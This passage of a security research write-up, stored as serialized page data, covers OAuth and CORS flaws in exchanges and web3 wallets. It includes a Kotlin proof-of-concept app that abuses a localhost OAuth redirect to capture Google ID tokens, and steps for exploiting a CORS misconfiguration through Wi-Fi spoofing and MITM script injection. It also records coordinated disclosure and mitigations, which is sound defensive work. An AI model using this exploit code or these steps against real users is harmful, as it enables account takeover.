${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[1249],{"type":26,"tag":53,"props":1250,"children":1251},{"__ignoreMap":7},[1252,1281,1300,1307,1326,1337,1348,1379,1402,1449,1456,1463,1470,1511,1522,1529,1536,1555,1578,1589,1608,1623,1634,1654,1665,1682,1709,1733,1740,1751,1763,1776,1784,1792,1799,1806,1814,1822,1830,1838,1846,1855,1864,1873,1881,1890,1899,1908,1917,1925,1934,1943,1965,1974,1982,1990,2002,2027,2040,2058,2066,2074,2082,2090,2098,2126],{"type":26,"tag":475,"props":1253,"children":1254},{"class":477,"line":478},[1255,1260,1264,1268,1272,1276],{"type":26,"tag":475,"props":1256,"children":1257},{"style":482},[1258],{"type":32,"value":1259}," override",{"type":26,"tag":475,"props":1261,"children":1262},{"style":482},[1263],{"type":32,"value":490},{"type":26,"tag":475,"props":1265,"children":1266},{"style":493},[1267],{"type":32,"value":496},{"type":26,"tag":475,"props":1269,"children":1270},{"style":499},[1271],{"type":32,"value":502},{"type":26,"tag":475,"props":1273,"children":1274},{"style":505},[1275],{"type":32,"value":508},{"type":26,"tag":475,"props":1277,"children":1278},{"style":499},[1279],{"type":32,"value":1280},"?) {\n",{"type":26,"tag":475,"props":1282,"children":1283},{"class":477,"line":516},[1284,1288,1292,1296],{"type":26,"tag":475,"props":1285,"children":1286},{"style":482},[1287],{"type":32,"value":522},{"type":26,"tag":475,"props":1289,"children":1290},{"style":499},[1291],{"type":32,"value":353},{"type":26,"tag":475,"props":1293,"children":1294},{"style":493},[1295],{"type":32,"value":531},{"type":26,"tag":475,"props":1297,"children":1298},{"style":499},[1299],{"type":32,"value":536},{"type":26,"tag":475,"props":1301,"children":1302},{"class":477,"line":539},[1303],{"type":26,"tag":475,"props":1304,"children":1305},{"emptyLinePlaceholder":18},[1306],{"type":32,"value":545},{"type":26,"tag":475,"props":1308,"children":1309},{"class":477,"line":548},[1310,1314,1318,1322],{"type":26,"tag":475,"props":1311,"children":1312},{"style":493},[1313],{"type":32,"value":564},{"type":26,"tag":475,"props":1315,"children":1316},{"style":499},[1317],{"type":32,"value":569},{"type":26,"tag":475,"props":1319,"children":1320},{"style":493},[1321],{"type":32,"value":574},{"type":26,"tag":475,"props":1323,"children":1324},{"style":499},[1325],{"type":32,"value":579},{"type":26,"tag":475,"props":1327,"children":1328},{"class":477,"line":558},[1329,1333],{"type":26,"tag":475,"props":1330,"children":1331},{"style":586},[1332],{"type":32,"value":589},{"type":26,"tag":475,"props":1334,"children":1335},{"style":499},[1336],{"type":32,"value":579},{"type":26,"tag":475,"props":1338,"children":1339},{"class":477,"line":582},[1340,1344],{"type":26,"tag":475,"props":1341,"children":1342},{"style":493},[1343],{"type":32,"value":602},{"type":26,"tag":475,"props":1345,"children":1346},{"style":499},[1347],{"type":32,"value":607},{"type":26,"tag":475,"props":1349,"children":1350},{"class":477,"line":596},[1351,1355,1359,1363,1367,1371,1375],{"type":26,"tag":475,"props":1352,"children":1353},{"style":499},[1354],{"type":32,"value":616},{"type":26,"tag":475,"props":1356,"children":1357},{"style":493},[1358],{"type":32,"value":621},{"type":26,"tag":475,"props":1360,"children":1361},{"style":499},[1362],{"type":32,"value":626},{"type":26,"tag":475,"props":1364,"children":1365},{"style":629},[1366],{"type":32,"value":632},{"type":26,"tag":475,"props":1368,"children":1369},{"style":499},[1370],{"type":32,"value":637},{"type":26,"tag":475,"props":1372,"children":1373},{"style":629},[1374],{"type":32,"value":642},{"type":26,"tag":475,"props":1376,"children":1377},{"style":499},[1378],{"type":32,"value":647},{"type":26,"tag":475,"props":1380,"children":1381},{"class":477,"line":610},[1382,1386,1390,1394,1398],{"type":26,"tag":475,"props":1383,"children":1384},{"style":499},[1385],{"type":32,"value":656},{"type":26,"tag":475,"props":1387,"children":1388},{"style":482},[1389],{"type":32,"value":661},{"type":26,"tag":475,"props":1391,"children":1392},{"style":499},[1393],{"type":32,"value":666},{"type":26,"tag":475,"props":1395,"children":1396},{"style":505},[1397],{"type":32,"value":671},{"type":26,"tag":475,"props":1399,"children":1400},{"style":499},[1401],{"type":32,"value":676},{"type":26,"tag":475,"props":1403,"children":1404},{"class":477,"line":650},[1405,1409,1413,1417,1421,1425,1429,1433,1437,1441,1445],{"type":26,"tag":475,"props":1406,"children":1407},{"style":499},[1408],{"type":32,"value":616},{"type":26,"tag":475,"props":1410,"children":1411},{"style":493},[1412],{"type":32,"value":689},{"type":26,"tag":475,"props":1414,"children":1415},{"style":499},[1416],{"type":32,"value":626},{"type":26,"tag":475,"props":1418,"children":1419},{"style":629},[1420],{"type":32,"value":632},{"type":26,"tag":475,"props":1422,"children":1423},{"style":499},[1424],{"type":32,"value":637},{"type":26,"tag":475,"props":1426,"children":1427},{"style":629},[1428],{"type":32,"value":706},{"type":26,"tag":475,"props":1430,"children":1431},{"style":482},[1432],{"type":32,"value":711},{"type":26,"tag":475,"props":1434,"children":1435},{"style":714},[1436],{"type":32,"value":717},{"type":26,"tag":475,"props":1438,"children":1439},{"style":482},[1440],{"type":32,"value":722},{"type":26,"tag":475,"props":1442,"children":1443},{"style":629},[1444],{"type":32,"value":727},{"type":26,"tag":475,"props":1446,"children":1447},{"style":499},[1448],{"type":32,"value":732},{"type":26,"tag":475,"props":1450,"children":1451},{"class":477,"line":679},[1452],{"type":26,"tag":475,"props":1453,"children":1454},{"style":499},[1455],{"type":32,"value":741},{"type":26,"tag":475,"props":1457,"children":1458},{"class":477,"line":735},[1459],{"type":26,"tag":475,"props":1460,"children":1461},{"style":499},[1462],{"type":32,"value":750},{"type":26,"tag":475,"props":1464,"children":1465},{"class":477,"line":744},[1466],{"type":26,"tag":475,"props":1467,"children":1468},{"emptyLinePlaceholder":18},[1469],{"type":32,"value":545},{"type":26,"tag":475,"props":1471,"children":1472},{"class":477,"line":753},[1473,1477,1481,1485,1489,1493,1497,1501,1506],{"type":26,"tag":475,"props":1474,"children":1475},{"style":482},[1476],{"type":32,"value":776},{"type":26,"tag":475,"props":1478,"children":1479},{"style":499},[1480],{"type":32,"value":804},{"type":26,"tag":475,"props":1482,"children":1483},{"style":714},[1484],{"type":32,"value":786},{"type":26,"tag":475,"props":1486,"children":1487},{"style":493},[1488],{"type":32,"value":813},{"type":26,"tag":475,"props":1490,"children":1491},{"style":499},[1492],{"type":32,"value":818},{"type":26,"tag":475,"props":1494,"children":1495},{"style":493},[1496],{"type":32,"value":823},{"type":26,"tag":475,"props":1498,"children":1499},{"style":499},[1500],{"type":32,"value":626},{"type":26,"tag":475,"props":1502,"children":1503},{"style":629},[1504],{"type":32,"value":1505},"\"http://localhost:3000\"",{"type":26,"tag":475,"props":1507,"children":1508},{"style":499},[1509],{"type":32,"value":1510},"))\n",{"type":26,"tag":475,"props":1512,"children":1513},{"class":477,"line":761},[1514,1518],{"type":26,"tag":475,"props":1515,"children":1516},{"style":493},[1517],{"type":32,"value":837},{"type":26,"tag":475,"props":1519,"children":1520},{"style":499},[1521],{"type":32,"value":842},{"type":26,"tag":475,"props":1523,"children":1524},{"class":477,"line":770},[1525],{"type":26,"tag":475,"props":1526,"children":1527},{"style":499},[1528],{"type":32,"value":851},{"type":26,"tag":475,"props":1530,"children":1531},{"class":477,"line":794},[1532],{"type":26,"tag":475,"props":1533,"children":1534},{"emptyLinePlaceholder":18},[1535],{"type":32,"value":545},{"type":26,"tag":475,"props":1537,"children":1538},{"class":477,"line":831},[1539,1543,1547,1551],{"type":26,"tag":475,"props":1540,"children":1541},{"style":482},[1542],{"type":32,"value":868},{"type":26,"tag":475,"props":1544,"children":1545},{"style":482},[1546],{"type":32,"value":490},{"type":26,"tag":475,"props":1548,"children":1549},{"style":493},[1550],{"type":32,"value":877},{"type":26,"tag":475,"props":1552,"children":1553},{"style":499},[1554],{"type":32,"value":882},{"type":26,"tag":475,"props":1556,"children":1557},{"class":477,"line":845},[1558,1562,1566,1570,1574],{"type":26,"tag":475,"props":1559,"children":1560},{"style":493},[1561],{"type":32,"value":891},{"type":26,"tag":475,"props":1563,"children":1564},{"style":499},[1565],{"type":32,"value":896},{"type":26,"tag":475,"props":1567,"children":1568},{"style":714},[1569],{"type":32,"value":786},{"type":26,"tag":475,"props":1571,"children":1572},{"style":903},[1573],{"type":32,"value":906},{"type":26,"tag":475,"props":1575,"children":1576},{"style":499},[1577],{"type":32,"value":676},{"type":26,"tag":475,"props":1579,"children":1580},{"class":477,"line":854},[1581,1585],{"type":26,"tag":475,"props":1582,"children":1583},{"style":493},[1584],{"type":32,"value":919},{"type":26,"tag":475,"props":1586,"children":1587},{"style":499},[1588],{"type":32,"value":579},{"type":26,"tag":475,"props":1590,"children":1591},{"class":477,"line":862},[1592,1596,1600,1604],{"type":26,"tag":475,"props":1593,"children":1594},{"style":482},[1595],{"type":32,"value":932},{"type":26,"tag":475,"props":1597,"children":1598},{"style":499},[1599],{"type":32,"value":626},{"type":26,"tag":475,"props":1601,"children":1602},{"style":629},[1603],{"type":32,"value":941},{"type":26,"tag":475,"props":1605,"children":1606},{"style":499},[1607],{"type":32,"value":676},{"type":26,"tag":475,"props":1609,"children":1610},{"class":477,"line":885},[1611,1615,1619],{"type":26,"tag":475,"props":1612,"children":1613},{"style":499},[1614],{"type":32,"value":954},{"type":26,"tag":475,"props":1616,"children":1617},{"style":493},[1618],{"type":32,"value":959},{"type":26,"tag":475,"props":1620,"children":1621},{"style":499},[1622],{"type":32,"value":579},{"type":26,"tag":475,"props":1624,"children":1625},{"class":477,"line":913},[1626,1630],{"type":26,"tag":475,"props":1627,"children":1628},{"style":493},[1629],{"type":32,"value":972},{"type":26,"tag":475,"props":1631,"children":1632},{"style":499},[1633],{"type":32,"value":579},{"type":26,"tag":475,"props":1635,"children":1636},{"class":477,"line":926},[1637,1641,1645,1650],{"type":26,"tag":475,"props":1638,"children":1639},{"style":493},[1640],{"type":32,"value":1052},{"type":26,"tag":475,"props":1642,"children":1643},{"style":499},[1644],{"type":32,"value":626},{"type":26,"tag":475,"props":1646,"children":1647},{"style":629},[1648],{"type":32,"value":1649},"\"Test\"",{"type":26,"tag":475,"props":1651,"children":1652},{"style":499},[1653],{"type":32,"value":647},{"type":26,"tag":475,"props":1655,"children":1656},{"class":477,"line":948},[1657,1661],{"type":26,"tag":475,"props":1658,"children":1659},{"style":493},[1660],{"type":32,"value":1125},{"type":26,"tag":475,"props":1662,"children":1663},{"style":499},[1664],{"type":32,"value":579},{"type":26,"tag":475,"props":1666,"children":1667},{"class":477,"line":966},[1668,1673,1677],{"type":26,"tag":475,"props":1669,"children":1670},{"style":499},[1671],{"type":32,"value":1672}," src ",{"type":26,"tag":475,"props":1674,"children":1675},{"style":714},[1676],{"type":32,"value":786},{"type":26,"tag":475,"props":1678,"children":1679},{"style":629},[1680],{"type":32,"value":1681}," \"https://accounts.google.com/gsi/client\"\n",{"type":26,"tag":475,"props":1683,"children":1684},{"class":477,"line":979},[1685,1690,1695,1700,1704],{"type":26,"tag":475,"props":1686,"children":1687},{"style":499},[1688],{"type":32,"value":1689}," attributes[",{"type":26,"tag":475,"props":1691,"children":1692},{"style":629},[1693],{"type":32,"value":1694},"\"async\"",{"type":26,"tag":475,"props":1696,"children":1697},{"style":499},[1698],{"type":32,"value":1699},"] ",{"type":26,"tag":475,"props":1701,"children":1702},{"style":714},[1703],{"type":32,"value":786},{"type":26,"tag":475,"props":1705,"children":1706},{"style":629},[1707],{"type":32,"value":1708}," \"\"\n",{"type":26,"tag":475,"props":1710,"children":1711},{"class":477,"line":1006},[1712,1716,1721,1725,1729],{"type":26,"tag":475,"props":1713,"children":1714},{"style":499},[1715],{"type":32,"value":1689},{"type":26,"tag":475,"props":1717,"children":1718},{"style":629},[1719],{"type":32,"value":1720},"\"defer\"",{"type":26,"tag":475,"props":1722,"children":1723},{"style":499},[1724],{"type":32,"value":1699},{"type":26,"tag":475,"props":1726,"children":1727},{"style":714},[1728],{"type":32,"value":786},{"type":26,"tag":475,"props":1730,"children":1731},{"style":629},[1732],{"type":32,"value":1708},{"type":26,"tag":475,"props":1734,"children":1735},{"class":477,"line":1046},[1736],{"type":26,"tag":475,"props":1737,"children":1738},{"style":499},[1739],{"type":32,"value":1152},{"type":26,"tag":475,"props":1741,"children":1742},{"class":477,"line":1068},[1743,1747],{"type":26,"tag":475,"props":1744,"children":1745},{"style":493},[1746],{"type":32,"value":1125},{"type":26,"tag":475,"props":1748,"children":1749},{"style":499},[1750],{"type":32,"value":579},{"type":26,"tag":475,"props":1752,"children":1753},{"class":477,"line":1077},[1754,1759],{"type":26,"tag":475,"props":1755,"children":1756},{"style":493},[1757],{"type":32,"value":1758}," unsafe",{"type":26,"tag":475,"props":1760,"children":1761},{"style":499},[1762],{"type":32,"value":579},{"type":26,"tag":475,"props":1764,"children":1765},{"class":477,"line":1090},[1766,1771],{"type":26,"tag":475,"props":1767,"children":1768},{"style":714},[1769],{"type":32,"value":1770}," +",{"type":26,"tag":475,"props":1772,"children":1773},{"style":629},[1774],{"type":32,"value":1775},"\"\"\"\n",{"type":26,"tag":475,"props":1777,"children":1778},{"class":477,"line":1119},[1779],{"type":26,"tag":475,"props":1780,"children":1781},{"style":629},[1782],{"type":32,"value":1783}," function handleCredentialResponse(response) {\n",{"type":26,"tag":475,"props":1785,"children":1786},{"class":477,"line":1132},[1787],{"type":26,"tag":475,"props":1788,"children":1789},{"style":629},[1790],{"type":32,"value":1791}," alert(\"credential: \" + response.credential);\n",{"type":26,"tag":475,"props":1793,"children":1794},{"class":477,"line":1146},[1795],{"type":26,"tag":475,"props":1796,"children":1797},{"style":629},[1798],{"type":32,"value":851},{"type":26,"tag":475,"props":1800,"children":1801},{"class":477,"line":1155},[1802],{"type":26,"tag":475,"props":1803,"children":1804},{"emptyLinePlaceholder":18},[1805],{"type":32,"value":545},{"type":26,"tag":475,"props":1807,"children":1808},{"class":477,"line":1163},[1809],{"type":26,"tag":475,"props":1810,"children":1811},{"style":629},[1812],{"type":32,"value":1813}," window.onload = async function () {\n",{"type":26,"tag":475,"props":1815,"children":1816},{"class":477,"line":1172},[1817],{"type":26,"tag":475,"props":1818,"children":1819},{"style":629},[1820],{"type":32,"value":1821}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":26,"tag":475,"props":1823,"children":1824},{"class":477,"line":1181},[1825],{"type":26,"tag":475,"props":1826,"children":1827},{"style":629},[1828],{"type":32,"value":1829}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":26,"tag":475,"props":1831,"children":1832},{"class":477,"line":1189},[1833],{"type":26,"tag":475,"props":1834,"children":1835},{"style":629},[1836],{"type":32,"value":1837}," google.accounts.id.initialize({\n",{"type":26,"tag":475,"props":1839,"children":1840},{"class":477,"line":1221},[1841],{"type":26,"tag":475,"props":1842,"children":1843},{"style":629},[1844],{"type":32,"value":1845}," client_id: client_id,\n",{"type":26,"tag":475,"props":1847,"children":1849},{"class":477,"line":1848},41,[1850],{"type":26,"tag":475,"props":1851,"children":1852},{"style":629},[1853],{"type":32,"value":1854}," callback: handleCredentialResponse,\n",{"type":26,"tag":475,"props":1856,"children":1858},{"class":477,"line":1857},42,[1859],{"type":26,"tag":475,"props":1860,"children":1861},{"style":629},[1862],{"type":32,"value":1863}," auto_select: true\n",{"type":26,"tag":475,"props":1865,"children":1867},{"class":477,"line":1866},43,[1868],{"type":26,"tag":475,"props":1869,"children":1870},{"style":629},[1871],{"type":32,"value":1872}," });\n",{"type":26,"tag":475,"props":1874,"children":1876},{"class":477,"line":1875},44,[1877],{"type":26,"tag":475,"props":1878,"children":1879},{"emptyLinePlaceholder":18},[1880],{"type":32,"value":545},{"type":26,"tag":475,"props":1882,"children":1884},{"class":477,"line":1883},45,[1885],{"type":26,"tag":475,"props":1886,"children":1887},{"style":629},[1888],{"type":32,"value":1889}," google.accounts.id.renderButton(\n",{"type":26,"tag":475,"props":1891,"children":1893},{"class":477,"line":1892},46,[1894],{"type":26,"tag":475,"props":1895,"children":1896},{"style":629},[1897],{"type":32,"value":1898}," document.getElementById(\"g_id_signin\"),\n",{"type":26,"tag":475,"props":1900,"children":1902},{"class":477,"line":1901},47,[1903],{"type":26,"tag":475,"props":1904,"children":1905},{"style":629},[1906],{"type":32,"value":1907}," { theme: \"outline\", size: \"large\" }\n",{"type":26,"tag":475,"props":1909,"children":1911},{"class":477,"line":1910},48,[1912],{"type":26,"tag":475,"props":1913,"children":1914},{"style":629},[1915],{"type":32,"value":1916}," );\n",{"type":26,"tag":475,"props":1918,"children":1920},{"class":477,"line":1919},49,[1921],{"type":26,"tag":475,"props":1922,"children":1923},{"emptyLinePlaceholder":18},[1924],{"type":32,"value":545},{"type":26,"tag":475,"props":1926,"children":1928},{"class":477,"line":1927},50,[1929],{"type":26,"tag":475,"props":1930,"children":1931},{"style":629},[1932],{"type":32,"value":1933}," google.accounts.id.prompt();\n",{"type":26,"tag":475,"props":1935,"children":1937},{"class":477,"line":1936},51,[1938],{"type":26,"tag":475,"props":1939,"children":1940},{"style":629},[1941],{"type":32,"value":1942}," };\n",{"type":26,"tag":475,"props":1944,"children":1946},{"class":477,"line":1945},52,[1947,1952,1956,1961],{"type":26,"tag":475,"props":1948,"children":1949},{"style":629},[1950],{"type":32,"value":1951}," \"\"\"",{"type":26,"tag":475,"props":1953,"children":1954},{"style":499},[1955],{"type":32,"value":353},{"type":26,"tag":475,"props":1957,"children":1958},{"style":493},[1959],{"type":32,"value":1960},"trimIndent",{"type":26,"tag":475,"props":1962,"children":1963},{"style":499},[1964],{"type":32,"value":607},{"type":26,"tag":475,"props":1966,"children":1968},{"class":477,"line":1967},53,[1969],{"type":26,"tag":475,"props":1970,"children":1971},{"style":499},[1972],{"type":32,"value":1973}," }\n",{"type":26,"tag":475,"props":1975,"children":1977},{"class":477,"line":1976},54,[1978],{"type":26,"tag":475,"props":1979,"children":1980},{"style":499},[1981],{"type":32,"value":1152},{"type":26,"tag":475,"props":1983,"children":1985},{"class":477,"line":1984},55,[1986],{"type":26,"tag":475,"props":1987,"children":1988},{"style":499},[1989],{"type":32,"value":1074},{"type":26,"tag":475,"props":1991,"children":1993},{"class":477,"line":1992},56,[1994,1998],{"type":26,"tag":475,"props":1995,"children":1996},{"style":493},[1997],{"type":32,"value":1083},{"type":26,"tag":475,"props":1999,"children":2000},{"style":499},[2001],{"type":32,"value":579},{"type":26,"tag":475,"props":2003,"children":2005},{"class":477,"line":2004},57,[2006,2010,2014,2018,2023],{"type":26,"tag":475,"props":2007,"children":2008},{"style":493},[2009],{"type":32,"value":1096},{"type":26,"tag":475,"props":2011,"children":2012},{"style":499},[2013],{"type":32,"value":1101},{"type":26,"tag":475,"props":2015,"children":2016},{"style":714},[2017],{"type":32,"value":1106},{"type":26,"tag":475,"props":2019,"children":2020},{"style":629},[2021],{"type":32,"value":2022},"\"Login here:\"",{"type":26,"tag":475,"props":2024,"children":2025},{"style":499},[2026],{"type":32,"value":1116},{"type":26,"tag":475,"props":2028,"children":2030},{"class":477,"line":2029},58,[2031,2036],{"type":26,"tag":475,"props":2032,"children":2033},{"style":493},[2034],{"type":32,"value":2035}," div",{"type":26,"tag":475,"props":2037,"children":2038},{"style":499},[2039],{"type":32,"value":579},{"type":26,"tag":475,"props":2041,"children":2043},{"class":477,"line":2042},59,[2044,2049,2053],{"type":26,"tag":475,"props":2045,"children":2046},{"style":499},[2047],{"type":32,"value":2048}," id ",{"type":26,"tag":475,"props":2050,"children":2051},{"style":714},[2052],{"type":32,"value":786},{"type":26,"tag":475,"props":2054,"children":2055},{"style":629},[2056],{"type":32,"value":2057}," \"g_id_signin\"\n",{"type":26,"tag":475,"props":2059,"children":2061},{"class":477,"line":2060},60,[2062],{"type":26,"tag":475,"props":2063,"children":2064},{"style":499},[2065],{"type":32,"value":1152},{"type":26,"tag":475,"props":2067,"children":2069},{"class":477,"line":2068},61,[2070],{"type":26,"tag":475,"props":2071,"children":2072},{"style":499},[2073],{"type":32,"value":1074},{"type":26,"tag":475,"props":2075,"children":2077},{"class":477,"line":2076},62,[2078],{"type":26,"tag":475,"props":2079,"children":2080},{"style":499},[2081],{"type":32,"value":1169},{"type":26,"tag":475,"props":2083,"children":2085},{"class":477,"line":2084},63,[2086],{"type":26,"tag":475,"props":2087,"children":2088},{"style":499},[2089],{"type":32,"value":1178},{"type":26,"tag":475,"props":2091,"children":2093},{"class":477,"line":2092},64,[2094],{"type":26,"tag":475,"props":2095,"children":2096},{"style":499},[2097],{"type":32,"value":741},{"type":26,"tag":475,"props":2099,"children":2101},{"class":477,"line":2100},65,[2102,2106,2110,2114,2118,2122],{"type":26,"tag":475,"props":2103,"children":2104},{"style":499},[2105],{"type":32,"value":1195},{"type":26,"tag":475,"props":2107,"children":2108},{"style":493},[2109],{"type":32,"value":1200},{"type":26,"tag":475,"props":2111,"children":2112},{"style":499},[2113],{"type":32,"value":1205},{"type":26,"tag":475,"props":2115,"children":2116},{"style":714},[2117],{"type":32,"value":786},{"type":26,"tag":475,"props":2119,"children":2120},{"style":482},[2121],{"type":32,"value":1214},{"type":26,"tag":475,"props":2123,"children":2124},{"style":499},[2125],{"type":32,"value":647},{"type":26,"tag":475,"props":2127,"children":2129},{"class":477,"line":2128},66,[2130],{"type":26,"tag":475,"props":2131,"children":2132},{"style":499},[2133],{"type":32,"value":851},{"type":26,"tag":35,"props":2135,"children":2136},{},[2137],{"type":32,"value":2138},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":26,"tag":35,"props":2140,"children":2141},{},[2142],{"type":32,"value":2143},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":26,"tag":41,"props":2145,"children":2147},{"id":2146},"how-to-mitigate",[2148],{"type":32,"value":2149},"How to Mitigate",{"type":26,"tag":35,"props":2151,"children":2152},{},[2153],{"type":32,"value":2154},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":26,"tag":27,"props":2156,"children":2158},{"id":2157},"exploiting-cors",[2159],{"type":32,"value":2160},"Exploiting CORS",{"type":26,"tag":35,"props":2162,"children":2163},{},[2164],{"type":32,"value":2165},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":26,"tag":35,"props":2167,"children":2168},{},[2169,2171,2177],{"type":32,"value":2170},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":26,"tag":53,"props":2172,"children":2174},{"className":2173},[],[2175],{"type":32,"value":2176},"http://",{"type":32,"value":2178}," schema for any subdomain:",{"type":26,"tag":465,"props":2180,"children":2184},{"className":2181,"code":2182,"language":2183,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[2185],{"type":26,"tag":53,"props":2186,"children":2187},{"__ignoreMap":7},[2188,2196,2204,2212],{"type":26,"tag":475,"props":2189,"children":2190},{"class":477,"line":478},[2191],{"type":26,"tag":475,"props":2192,"children":2193},{},[2194],{"type":32,"value":2195},"HTTP 200 OK\n",{"type":26,"tag":475,"props":2197,"children":2198},{"class":477,"line":516},[2199],{"type":26,"tag":475,"props":2200,"children":2201},{},[2202],{"type":32,"value":2203},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":26,"tag":475,"props":2205,"children":2206},{"class":477,"line":539},[2207],{"type":26,"tag":475,"props":2208,"children":2209},{},[2210],{"type":32,"value":2211},"Access-Control-Allow-Credentials: true\n",{"type":26,"tag":475,"props":2213,"children":2214},{"class":477,"line":548},[2215],{"type":26,"tag":475,"props":2216,"children":2217},{},[2218],{"type":32,"value":2219},"[...]\n",{"type":26,"tag":41,"props":2221,"children":2223},{"id":2222},"cors-misconfiguration-by-lack-of-tls",[2224],{"type":32,"value":2225},"CORS Misconfiguration by Lack of TLS",{"type":26,"tag":35,"props":2227,"children":2228},{},[2229,2231,2237],{"type":32,"value":2230},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":26,"tag":53,"props":2232,"children":2234},{"className":2233},[],[2235],{"type":32,"value":2236},"exchange.com",{"type":32,"value":2238}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":26,"tag":35,"props":2240,"children":2241},{},[2242],{"type":32,"value":2243},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":26,"tag":82,"props":2245,"children":2246},{},[2247,2267],{"type":26,"tag":86,"props":2248,"children":2249},{},[2250,2252,2257,2259,2265],{"type":32,"value":2251},"Chrome --> won't work because cookies are not sent in ",{"type":26,"tag":53,"props":2253,"children":2255},{"className":2254},[],[2256],{"type":32,"value":2176},{"type":32,"value":2258}," --> ",{"type":26,"tag":53,"props":2260,"children":2262},{"className":2261},[],[2263],{"type":32,"value":2264},"https://",{"type":32,"value":2266}," requests, even if same-site",{"type":26,"tag":86,"props":2268,"children":2269},{},[2270,2272],{"type":32,"value":2271},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":26,"tag":53,"props":2273,"children":2275},{"className":2274},[],[2276],{"type":32,"value":2277},"fetch()",{"type":26,"tag":41,"props":2279,"children":2281},{"id":2280},"exploit-1",[2282],{"type":32,"value":443},{"type":26,"tag":35,"props":2284,"children":2285},{},[2286],{"type":32,"value":2287},"To exploit it, we must follow some steps:",{"type":26,"tag":181,"props":2289,"children":2290},{},[2291,2296,2301],{"type":26,"tag":86,"props":2292,"children":2293},{},[2294],{"type":32,"value":2295},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":26,"tag":86,"props":2297,"children":2298},{},[2299],{"type":32,"value":2300},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":26,"tag":86,"props":2302,"children":2303},{},[2304,2306,2311],{"type":32,"value":2305},"Use ",{"type":26,"tag":53,"props":2307,"children":2309},{"className":2308},[],[2310],{"type":32,"value":2277},{"type":32,"value":2312}," with CORS to do something malicious using the victim's account",{"type":26,"tag":35,"props":2314,"children":2315},{},[2316],{"type":32,"value":2317},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":26,"tag":35,"props":2319,"children":2320},{},[2321,2323,2328],{"type":32,"value":2322},"Once the redirect to the 